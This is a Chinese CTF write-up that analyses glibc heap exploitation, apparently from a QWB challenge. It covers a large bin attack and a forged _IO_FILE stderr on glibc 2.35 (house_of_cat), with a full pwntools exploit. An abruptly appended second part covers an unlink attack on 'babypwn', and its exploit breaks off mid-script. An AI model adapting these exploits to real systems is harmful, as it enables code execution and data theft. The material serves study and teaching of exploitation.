这道题在pwn方向是做出来的队伍最多的一道题，但由于笔者之前对于高版本glibc的_IO_FILE攻击方式不甚了解，因此比赛的时候跳过了。本文就对该题进行从原理到实战的详细分析，帮助读者理解本题使用过的攻击方式。

house_of_cat

本题使用的glibc版本是2.35，是目前ubuntu 22.04上最新的glibc版本。因此本题的调试与做题环境为：Ubuntu 22.04。

本题的漏洞利用方式为house of apple，这是一种基于large bin attack的_IO_FILE攻击方式。那么首先我们就需要了解large bin attack和_IO_FILE利用这两个基础知识。

前置知识1——高版本libc的large bin attack

large bin attack从2.23版本到2.35版本，一直是一种没有被解决的利用方式，在高版本的libc中，large bin attack的具体方式与低版本区别并不大，利用原理也是相同的。不过与2.23和2.27版本不同，2.30及以上版本在_int_malloc函数中对于large bin新增了两个检查：（截图来自这里）

下面我们通过how2heap简单看一下2.35版本的large bin attack是如何实现的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

Since glibc2.30, two new checks have been enforced on large bin chunk insertion

Check 1 : 
>    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
>        malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
Check 2 : 
>    if (bck->fd != fwd)
>        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

This prevents the traditional large bin attack
However, there is still one possible path to trigger large bin attack. The PoC is shown below : 

====================================================================

Here is the target we want to overwrite (0x7ffc96dca630) : 0

First, we allocate a large chunk [p1] (0x564fd9bdc290)
And another chunk to prevent consolidate

We also allocate a second large chunk [p2]  (0x564fd9bdc6e0).
This chunk should be smaller than [p1] and belong to the same large bin.
Once again, allocate a guard chunk to prevent consolidate

Free the larger of the two --> [p1] (0x564fd9bdc290)
Allocate a chunk larger than [p1] to insert [p1] into large bin

Free the smaller of the two --> [p2] (0x564fd9bdc6e0)
At this point, we have one chunk in large bin [p1] (0x564fd9bdc290),
               and one chunk in unsorted bin [p2] (0x564fd9bdc6e0)

Now modify the p1->bk_nextsize to [target-0x20] (0x7ffc96dca610)

Finally, allocate another chunk larger than [p2] (0x564fd9bdc6e0) to place [p2] (0x564fd9bdc6e0) into large bin
Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,
  the modified p1->bk_nextsize does not trigger any error
Upon inserting [p2] (0x564fd9bdc6e0) into largebin, [p1](0x564fd9bdc290)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (0x564fd9bdc6e0)

In out case here, target is now overwritten to address of [p2] (0x564fd9bdc6e0), [target] (0x564fd9bdc6e0)
Target (0x7ffc96dca630) : 0x564fd9bdc6e0

====================================================================

以上就是程序的输出结果。可以看到其利用的方式非常简单，前提条件是：

1. large bin中有1个chunk，unsorted bin中有一个chunk（如果被链入到large bin中需要与前面的chunk链到一个bin中），且large bin中的比unsorted bin中的大。
2. 可以修改large bin中chunk的bk_nextsize指针。

当我们分配一个大chunk使得unsorted bin中的chunk被链入到large bin时，由于原先的large bin chunk比这个chunk大，所以居于其后（对large bin链入过程不清楚的读者可以先看这里），这就绕过了添加的两个检查，能够成功将原large bin chunk中的bk_nextsize->fd_nextsize修改为新链入的chunk地址，即实现了任一地址写一个堆地址。

前置知识2——_IO_FILE

在之前的文章中分析过，这里就不费笔墨了。在这篇文章中也有简要的介绍。

既然large bin attack可以实现任意地址写，如果我们将_IO_list_all的值修改为一个堆地址，那我们岂不是可以控制_IO_FILE结构体的执行流了吗？现在，我们就回到这道题本身来进行分析。

Step 1: 逆向分析

这道题的漏洞很好找，就在delete_cat这个函数中，删除操作中的free并未清空指针，因此有UAF漏洞。不过在能够操作菜单之前，我们还需要进行登录操作。这一部分的分析不难，按照函数的执行流程进行分析调试就能够获取到成功登录的字符串输入格式。最终通过login函数成功登录的字符串为：LOGIN | r00t QWB QWXFadmin\x00

在进入菜单之后，我们还需要通过某些检查。这些检查也不难通过，输入字符串为：CAT | r00t QWB QWXF\xFF$

重点就在于菜单的四种操作。添加是正常的添加操作，只不过每一次添加的chunk可写部分大小必须在0x418到0x470之间，这是属于large bin的范围，因此本题和tcache无关。

然后是编辑功能，每一次只能编辑chunk可写部分的前30个字节而不能控制所有字节。

show与edit相同，也是只能展示前30字节。

由于本题中的delete函数有UAF漏洞，因此我们只要show一个free chunk就能够轻松获取到libc和堆地址。因此进行一次large bin attack并不是什么难事。但关键在于，我们应该如何构造假的_IO_FILE结构体。注意，本题中使用了沙箱，我们不能直接调用system函数getshell，因此还需要借用setcontext函数。

Step 2: 漏洞分析

本文主要参考Nu1L师傅的wp进行分析。其使用了__malloc_assert函数作为跳板进行漏洞利用。首先我们需要知道这个函数在何处被调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

// malloc.c line 292
# define __assert_fail(assertion, file, line, function)			\
	 __malloc_assert(assertion, file, line, function)

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

在malloc.c中我们可以找到，这里的__assert_fail就是__malloc_assert，即在这里调用assert_fail就相当于调用__malloc_assert。而__assert_fail是在assert函数中被调用，因此只需要找到在malloc函数中何处调用了assert函数即可。但assert函数调用的地方实在太多，我们应该选择哪一个呢？注意在_int_malloc函数中，所有针对堆的检查错误信息打印都是使用malloc_printerr函数而非assert。因此我们选择_int_malloc函数调用的sysmalloc函数。在sysmalloc函数中有检查是使用assert来实现的，而在_int_malloc函数中只有当完全确认释放的chunk无法满足申请需求且top chunk的大小也小于申请大小时才会调用sysmalloc函数。我们首先分析一下进入sysmalloc函数之后应该如何做才能拿到flag，至于如何调用sysmalloc函数，则是堆块排布方面的事情了，我们在后面也会提到。

在sysmalloc函数中，有这样一条assert语句：

1
2
3
4
5

// malloc.c line 2617
  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

这是用来检查top chunk的一些属性，其中注意最后一行，top chunk必须页对齐。如果这里的top chunk没有满足页对齐，那么就会调用__assert_fail函数，也即__malloc_assert函数。而在__malloc_assert函数中，经过调试发现，漏洞利用是发生在调用__fxprintf中而非fflush函数。这是因为当我们执行到assert失败时，_IO_FILE应该已经被我们修改，而__fxprintf作为一个需要将字符串输出到控制台的函数，必然会调出stderr文件描述符进行输出。但这个时候只有我们自己伪造的_IO_FILE指针，只要我们构造好假的stderr，就有可能实现任意代码执行。

笔者仔细研究了一下本题的利用思路，发现这是典型的house of emma利用方法。（资料参考）

经过笔者多次调试跟踪，最终发现程序在__vfprintf_internal+0x280处调用了vtable+0x38处的函数，其第一个参数rdi指向的是伪造的stderr：

查看vtable类型的源码声明：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

可以看到，这里本意实际是想要调用结构体中偏移为0x38的成员，即_IO_xsputn_t函数。
又找到_IO_cookie_jumps结构体：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_cookie_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_file_setbuf),
  JUMP_INIT(sync, _IO_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_cookie_read),
  JUMP_INIT(write, _IO_cookie_write),
  JUMP_INIT(seek, _IO_cookie_seek),
  JUMP_INIT(close, _IO_cookie_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue),
};

其中注意到有一个_IO_cookie_read函数，我们查看一下这个函数在IDA中的汇编：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

.text:000000000007F7B0 ; __unwind {
.text:000000000007F7B0                 endbr64
.text:000000000007F7B4                 mov     rax, [rdi+0E8h]
.text:000000000007F7BB                 ror     rax, 11h
.text:000000000007F7BF                 xor     rax, fs:30h
.text:000000000007F7C8                 test    rax, rax
.text:000000000007F7CB                 jz      short loc_7F7D6
.text:000000000007F7CD                 mov     rdi, [rdi+0E0h]
.text:000000000007F7D4                 jmp     rax
.text:000000000007F7D6 ; ---------------------------------------------------------------------------
.text:000000000007F7D6
.text:000000000007F7D6 loc_7F7D6:                              ; CODE XREF: sub_7F7B0+1B↑j
.text:000000000007F7D6                 mov     rax, 0FFFFFFFFFFFFFFFFh
.text:000000000007F7DD                 retn

注意到这里有一个jmp rax，实际上就是jmp [rdi+0E8h]。而这里的rdi就是伪造的stderr，因此我们只需要在假stderr后面的特定位置写入_IO_cookie_jumps+0x38就可以保证执行到_IO_cookie_read函数，然后在假stderr+0xE8的位置写入正确的值就能够使得jmp rax跳转到我们想要的地方去。不过在此之前我我们可以看到_IO_cookie_read函数对rax的值做了一些修改，即上述代码中的ror指令和xor指令。这实际上是高版本glibc新增加的一种保护措施：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif

  if (read_cb == NULL)
    return -1;

  return read_cb (cfile->__cookie, buf, size);
}

注意这里的PTR_DEMANGLE函数，就是ror/xor指令的实现，其实质是：

1
2
3
4
5
6

#  define PTR_DEMANGLE(var)	asm ("ror $2*" LP_SIZE "+1, %0\n"	      \
				     "xor %%fs:%c2, %0"			      \
				     : "=r" (var)			      \
				     : "0" (var),			      \
				       "i" (offsetof (tcbhead_t,	      \
						      pointer_guard)))

注意：在/sysdeps/unix/sysv/linux/x86_64/sysdep.h文件中有4个关于PTR_DEMANGLE函数的声明，但通过查看源码可知最有可能采用的就是上面的这个宏定义。通过源码可知第一条语句ror循环右移的位数为11，而第二条语句xor rax, fs:30h中的fs:30h应该指的就是tcbhead_t.pointer_guard这个东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int unused_vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;

这是tcbhead_t的声明，可以看到除了pointer_guard之外，这里面还定义有stack_guard，合理猜测这应该是用于canary。经过验证发现确实如此，函数开头的mov rax, fs:28h取的就是stack_guard的值。因此这里的fs:30h也就是pointer_guard的值。我们并不能读取原来的pointer_guard，但我们能通过large bin attack将这里的值修改为一个已知的值，这样我们就可以自行对想要执行的地址进行处理，经过_IO_cookie_read函数右移处理后变成正确的代码地址。那么tcbhead_t这个结构体在什么地方呢？实际上这个结构体并不在libc中，而是在紧邻libc低地址处的一块内存空间中（见下图），其与libc起始地址的偏移为-0x28c0。但这个值是在wp中的exp出现的，如果是我们自己做题，又应该如何获得这个值呢？前面提到pointer_guard与stack_guard相邻。我们在程序调试的时候可以将断点下在函数开头获取stack_guard的地方——mov rax, fs:0x28，获得stack_guard的值后再对内存空间进行搜索，这样就可以轻松找到tcbhead_t结构体了。

在本题中，我们可以通过large bin attack轻松修改这里的值，由此我们就可以在fake stderr+0xE8处写入处理后的地址值，然后就可以实现任意地址执行。由于本题开启了沙箱，因此这里容易想到跳转到一个称为pcop的gadget，由于在新版本libc中setcontext函数中对rsp赋值的地址不再由rdi取值，因此需要这一个gadget将rdx赋值，其中的rdi附近内存是我们可控的，因此通过这个gadget地址我们就可以控制rdx的值：

1
2
3

.text:00000000001675B0                 mov     rdx, [rdi+8]
.text:00000000001675B4                 mov     [rsp+0C8h+var_C8], rax
.text:00000000001675B8                 call    qword ptr [rdx+20h]

我们可以将rdx赋值为一个可控的内存空间地址，然后通过call指令跳转到setcontext函数中就可以成功实现栈迁移。

现在我们已经搞清楚了如何通过假的stderr实现任意代码执行，但我们应该如何替换stderr呢？前面提到，我们需要使用一次large bin attack修改pointer_guard的值，在这里，我们还需要再进行一次large bin attack直接修改stderr的值。注意到large bin的前32个bin所保存的chunk的大小差值为0x40，即大小在0x400~0x430的chunk保存在第一个large bin，而0x440~0x470则保存在第二个large bin中，两个相邻的bin中保存的最小chunk的大小之差为0x40。从本题可以分配的chunk大小可知，我们一共可以进行2次large bin attack，这两次攻击应发生在不同的bin中。

现在，我们也已经有了办法替换stderr，但还有最后一个问题：如何才能让top chunk缩小？根据本题的UAF漏洞不难联想，这一题应该是想要让我们通过UAF漏洞修改top chunk的大小。具体的步骤如下：

我们需要首先分配两个相邻chunk，假设大小均为0x440，并在其高地址处分配至少一个chunk暂时防止与top chunk合并。然后释放两个相邻chunk，释放后二者会进行合并。此时再次分配一个大小为0x430的chunk和一个0x450的chunk重新获取这两个chunk的内存空间，修改原来被释放的chunk的头部。由于我们还保存着原来chunk的指针，因此可以再一次释放这个chunk，使其与top chunk直接合并，然后继续编辑就可以成功修改top chunk的大小。

Step 3: 编写exp

为了行文逻辑流畅，这里先将exp贴出来，然后再对其中细节进行深入分析：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./house_of_cat')
elf = ELF('./house_of_cat')
libc = ELF('./libc.so.6')
main_arena_base = 0x219C80


def add_cat(index, size, content):
    io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    io.sendlineafter(b'plz input your cat choice:\n', b'1')
    io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
    io.sendlineafter(b'plz input your cat size:\n', str(size).encode())
    io.sendafter(b'plz input your content:\n', content)


def delete_cat(index):
    io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    io.sendlineafter(b'plz input your cat choice:\n', b'2')
    io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())


def show_cat(index):
    io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    io.sendlineafter(b'plz input your cat choice:\n', b'3')
    io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())


def edit_cat(index, content):
    io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
    io.sendlineafter(b'plz input your cat choice:\n', b'4')
    io.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
    io.sendlineafter(b'plz input your content:\n', content)


io.sendlineafter(b'mew mew mew~~~~~~', b'LOGIN | r00t QWB QWXFadmin\x00')  # admin = 1

# add_cat(0, 0x430, b'colin')
add_cat(1, 0x428, b'colin')
add_cat(2, 0x430, b'colin')
add_cat(4, 0x418, b'colin')
add_cat(5, 0x440, b'colin')

delete_cat(1)
show_cat(1)
io.recv(9)
main_arena = u64(io.recv(6) + b'\x00\x00') - 96
base = main_arena - main_arena_base
stderr = base + libc.symbols['stderr']
tcbhead_t = base - 0x28C0
_IO_cookie_jumps = base + 0x215B80
print(hex(base))

add_cat(3, 0x440, b'colin')

delete_cat(4)
show_cat(1)
io.recv(25)
heap_base = u64(io.recv(6) + b'\x00\x00') - 0x290

edit_cat(1, p64(main_arena + 1104) * 2 + p64(0) + p64(tcbhead_t + 0x10))
add_cat(0, 0x430, b'colin')
pointer_guard = heap_base + 0xB00
print(hex(pointer_guard))
print(hex(heap_base))

# some useful gadgets
pcop = 0x1675B0 + base
pop_rdi = 0x2A3E5 + base
pop_rsi = 0x2BE51 + base
pop_rdx_rbx = 0x90529 + base
pop_rax = 0x45EB0 + base
syscall = 0x91396 + base
print(hex(pcop))
encrypted_addr = ((pcop ^ pointer_guard) << 0x11) & ((1 << 64) - 1) + \
                 (((pcop ^ pointer_guard) & (((1 << 64) - 1) - ((1 << 47) - 1))) >> 47)

# create fake _IO_FILE struct for fake stderr
payload = FileStructure()
payload.vtable = _IO_cookie_jumps + 0x38  # address of _IO_file_xsputn, vtable + 0x38 = _IO_cookie_read
payload._lock = base + 0x21BA70  # _IO_stdfile_1_lock
payload = bytes(payload)[0x10:]
payload += p64(heap_base + 0x28F0 + 0x100)
payload += p64(encrypted_addr)
payload = payload.ljust(0x100, b'\x00')
payload += p64(0)
payload += p64(heap_base + 0x28F0 + 0x100)
payload += p64(0) * 2
payload += p64(base + libc.symbols['setcontext'] + 61)

# use SigReturn frame to set rsp and rcx
frame = SigreturnFrame()
frame.rsp = heap_base + 0x28F0 + 0x300
frame.rip = pop_rdi + 1
payload += flat(frame)[0x28:]
payload = payload.ljust(0x300, b'\x00')

# construct ROP chain
# close the stdin, and it will reopen automatically
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(base + libc.symbols['close'])

# open file ./flag
payload += p64(pop_rdi)
payload += p64(heap_base + 0x28F0 + 0x400)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(2)  # syscall code for open
payload += p64(syscall)

# read file ./flag to heap
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x500)
payload += p64(pop_rdx_rbx)
payload += p64(0x100)
payload += p64(0)
payload += p64(base + libc.symbols['read'])

# write content in ./flag
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x500)
payload += p64(pop_rdx_rbx)
payload += p64(0x100)
payload += p64(0)
payload += p64(base + libc.symbols['write'])

payload = payload.ljust(0x400) + b'./flag\x00'

add_cat(6, 0x430, b'colin')
add_cat(7, 0x450, b'colin')
add_cat(8, 0x430, b'colin')
add_cat(9, 0x440, payload)
add_cat(10, 0x430, b'colin')
delete_cat(6)
delete_cat(7)

add_cat(11, 0x460, b'\x00' * 0x430 + p64(0) + p64(0x461))
add_cat(12, 0x420, b'\x00')
delete_cat(7)

add_cat(13, 0x450, b'\x00' * 0x20 + p64(0) + p64(0x1101))
delete_cat(7)
add_cat(14, 0x460, b'\x00')
delete_cat(9)
delete_cat(12)
delete_cat(14)

# delete_cat(11)
edit_cat(7, p64(base + 0x21A0E0) * 2 + p64(0) + p64(base + libc.symbols['stderr'] - 0x20) + p64(0) + p64(0x201))
io.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$')  # enter the menu
io.sendlineafter(b'plz input your cat choice:\n', b'1')
io.sendlineafter(b'plz input your cat idx:\n', b'15')
# gdb.attach(io)
# time.sleep(1)
io.sendlineafter(b'plz input your cat size:\n', b'1129')
io.interactive()

前面的交互就不用说了，首先是释放chunk 1和4获取到libc和heap地址，并顺便使用0x400~0x430的large bin的large bin attack修改tcbhead_t结构体中的pointer_guard。pcop变量就是前面提到的pcop地址，encrypted_addr就是处理后的地址，经过_IO_cookie_read函数处理后能够变成pcop地址。

在payload中首先是_IO_FILE结构体，可以使用pwntools自带的FileStructure类进行声明，如果需要将其转为字节可使用bytes()函数进行处理。这里需要注意我们舍去了_IO_FILE的前0x10字节，因为large bin attack只能够将chunk地址写到stderr中，在可写头前面还有prev_size和size字段，为了保证对齐，需要舍弃_IO_FILE结构体的前0x10字节。

在_IO_FILE结构体后加上这个地方的堆地址和处理后的pcop地址，能够保证_IO_cookie_read函数能够跳转到pcop中。以0x100对齐后加上setcontext函数地址使得pcop能够调用到setcontext函数。

在setcontext后面紧跟SigReturnFrame结构体，这个结构体本来是用作系统调用sysreturn的，这里使用是因为其中rsp和rip的值正好能够对应上setcontext函数中的相关指令，能够通过修改SigReturnFrame结构体使得setcontext将rsp修改为我们想要栈迁移的地址，rip修改为我们想要跳转到的地址。注意这里的SigReturnFrame结构体舍弃了前面的0x28字节，原因与_IO_FILE舍弃前0x10字节类似，都是为了对齐。

在此之后就是ROP链，将rsp设置到这里，待setcontext返回后即可在这里继续执行，后面就是常规的orw。

成功getshell。

总结

理解本题的关键在于理解函数调用链：
calloc->_int_malloc->sysmalloc->__malloc_assert->__fxprintf->...->_IO_cookie_read->pcop->setcontext->ROP

这道题增加了沙箱机制，通过seccomp-tools可以轻松获取沙箱的具体内容。

其中的重点就是禁用了execve系统调用，无法直接通过one_gadget、system等直接getshell。这种情况下最为常用的利用方式就是set_context函数，具体如何利用，往下看。

本题的逆向分析很简单，注意bss中结构体的识别：前8字节是地址，后8字节是大小。在show函数中发现了一个简单的加密函数：

其每一轮的计算如下图所示，红色部分是因为溢出而无法计算的部分，每一轮的计算结果就相当于是所有黄色部分对应位异或的结果。

那么这个函数应该如何解密呢？观察到每一轮的计算又可以分为3小轮，最后一轮是某个值与自身左移13位的异或。第二轮是另外一个值与自身右移17位的异或得到第三轮的初始值。第一轮是输入与输入自身左移5位的异或得到第二轮的初始值。如此设计解密算法也就不难了，相信了解一些算法的读者都能编写脚本。解密函数如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

def get_bits(value, start, end):
    return (value >> start) & ((1 << (end - start)) - 1)


def decrypt(value):
    for i in range(2):
        low13 = get_bits(value, 0, 13)
        mid13 = get_bits(value, 13, 26)
        mid13 ^= low13
        high6 = get_bits(value, 26, 32)
        high6 ^= get_bits(mid13, 0, 6)
        value = low13 + (mid13 << 13) + (high6 << 26)

        high17 = get_bits(value, 15, 32)
        low15 = get_bits(value, 0, 15)
        low15 ^= get_bits(high17, 2, 17)
        value = low15 + (high17 << 15)

        first5 = get_bits(value, 0, 5)
        second5 = get_bits(value, 5, 10)
        second5 ^= first5
        third5 = get_bits(value, 10, 15)
        third5 ^= second5
        fourth5 = get_bits(value, 15, 20)
        fourth5 ^= third5
        fifth5 = get_bits(value, 20, 25)
        fifth5 ^= fourth5
        sixth5 = get_bits(value, 25, 30)
        sixth5 ^= fifth5
        last2 = get_bits(value, 30, 32)
        last2 ^= get_bits(sixth5, 0, 2)
        value = first5 + (second5 << 5) + (third5 << 10) + (fourth5 << 15) + \
            (fifth5 << 20) + (sixth5 << 25) + (last2 << 30)

    return value

通过show函数，我们能够获取到堆块的地址。不过需要注意的是，show函数加密的并非堆块自身的地址，而是堆块前8字节的值。通过调试我们可以发现，在程序初始化时调用的seccomp系列函数会申请一些堆块，我们通过申请到这些堆块有可能使得堆块的前8字节是一个堆块地址，以此来获取堆区地址。

本题的libc环境是2.27版本，有机会改写钩子到setcontext函数【插一句：在笔者的2.31版本libc中，setcontext函数的栈迁移指令从mov rsp, [rdi+0xA0]被改成了mov rsp,[rdx+0xA0]，这使得本题在2.31环境下无法利用，因为在执行到这里的时候无法控制rdx的值】。自然而然地，我们容易想到使用unlink堆块重叠的利用方式。在chunk中写一个假chunk，在假chunk的prev_size写入这个chunk的地址，然后将fd和bk指针写到合适的位置，就能够触发unlink。和同年的easy_diary相比，利用难度还更低些。

这里需要注意一下edit函数中的一个看似奇怪的函数。这个函数在read之后调用，会将第一个出现的’\x11’字符替换为0x0。乍一看，这个字符并不是字符串的结束符，但转念一想，不难发现这是出题人在为我们创造off by null的条件：'\x11’很有可能是某个chunk的size的最低1字节。可以通过这个特性修改chunk的大小和prev_inuse位。由于chunk的大小被修改了，因此在这个chunk的最后面还需要写上一个有效的size值，最低位为1，以绕过检查。

在成功unlink之后，就可以利用堆块重叠修改tcache chunk的fd指针到__free_hook。将其改写到setcontext内部即可实现栈迁移。然后构造好ROP链，打开文件、读文件、写数据。在笔者的机器上，通过调试将rdx改为与rdi的值相等实现栈迁移，但不知何故打开flag文件总是失败。

exp:（基于20.04，且需要调试修改rdx的值）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150

from pwn import *

context(arch='amd64', log_level='debug')

io = process('./babypwn')
# io = process(['../../../../ld/ld-2.27.so', './babypwn'], env={"LD_PRELOAD": "./libc.so.6"})
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
# libc = ELF('./libc.so.6')

def add(size):
    io.sendlineafter(b'>>> ', b'1')
    io.sendlineafter(b'size:', str(size).encode())


def delete(index):
    io.sendlineafter(b'>>> ', b'2')
    io.sendlineafter(b'index:', str(index).encode())


def edit(index, content):
    io.sendlineafter(b'>>> ', b'3')
    io.sendlineafter(b'index:', str(index).encode())
    io.sendafter(b'content:', content)


def show(index):
    io.sendlineafter(b'>>> ', b'4')
    io.sendlineafter(b'index:\n', str(index).encode())
    lodword = int(io.recvuntil(b'\n', drop=True).decode(), 16)
    lodword = decrypt(lodword)
    hidword = int(io.recvuntil(b'\n', drop=True).decode(), 16)
    hidword = decrypt(hidword)
    return lodword + (hidword << 32)

def get_bits(value, start, end):
    return (value >> start) & ((1 << (end - start)) - 1)


def decrypt(value):
    for i in range(2):
        low13 = get_bits(value, 0, 13)
        mid13 = get_bits(value, 13, 26)
        mid13 ^= low13
        high6 = get_bits(value, 26, 32)
        high6 ^= get_bits(mid13, 0, 6)
        value = low13 + (mid13 << 13) + (high6 << 26)

        high17 = get_bits(value, 15, 32)
        low15 = get_bits(value, 0, 15)
        low15 ^= get_bits(high17, 2, 17)
        value = low15 + (high17 << 15)

        first5 = get_bits(value, 0, 5)
        second5 = get_bits(value, 5, 10)
        second5 ^= first5
        third5 = get_bits(value, 10, 15)
        third5 ^= second5
        fourth5 = get_bits(value, 15, 20)
        fourth5 ^= third5
        fifth5 = get_bits(value, 20, 25)
        fifth5 ^= fourth5
        sixth5 = get_bits(value, 25, 30)
        sixth5 ^= fifth5
        last2 = get_bits(value, 30, 32)
        last2 ^= get_bits(sixth5, 0, 2)
        value = first5 + (second5 << 5) + (third5 << 10) + (fourth5 << 15) + \
            (fifth5 << 20) + (sixth5 << 25) + (last2 << 30)
    return value

add(100)                            # chunk 0, used for leaking address
chunk0_addr = show(0)
print(hex(chunk0_addr))
add(0x100)                          # chunk #1
for i in range(7):
    add(0xF0)                       # chunk #2~8
chunk1_addr = chunk0_addr + 0x400

payload = p64(chunk1_addr + 0x10)
payload += p64(0x810 + 0x30 - 0x10)
payload += p64(chunk1_addr - 0x8)
payload += p64(chunk1_addr)
payload += p64(0)
edit(1, payload)

add(0x28)                           # chunk #9
add(0x100)                          # chunk #10
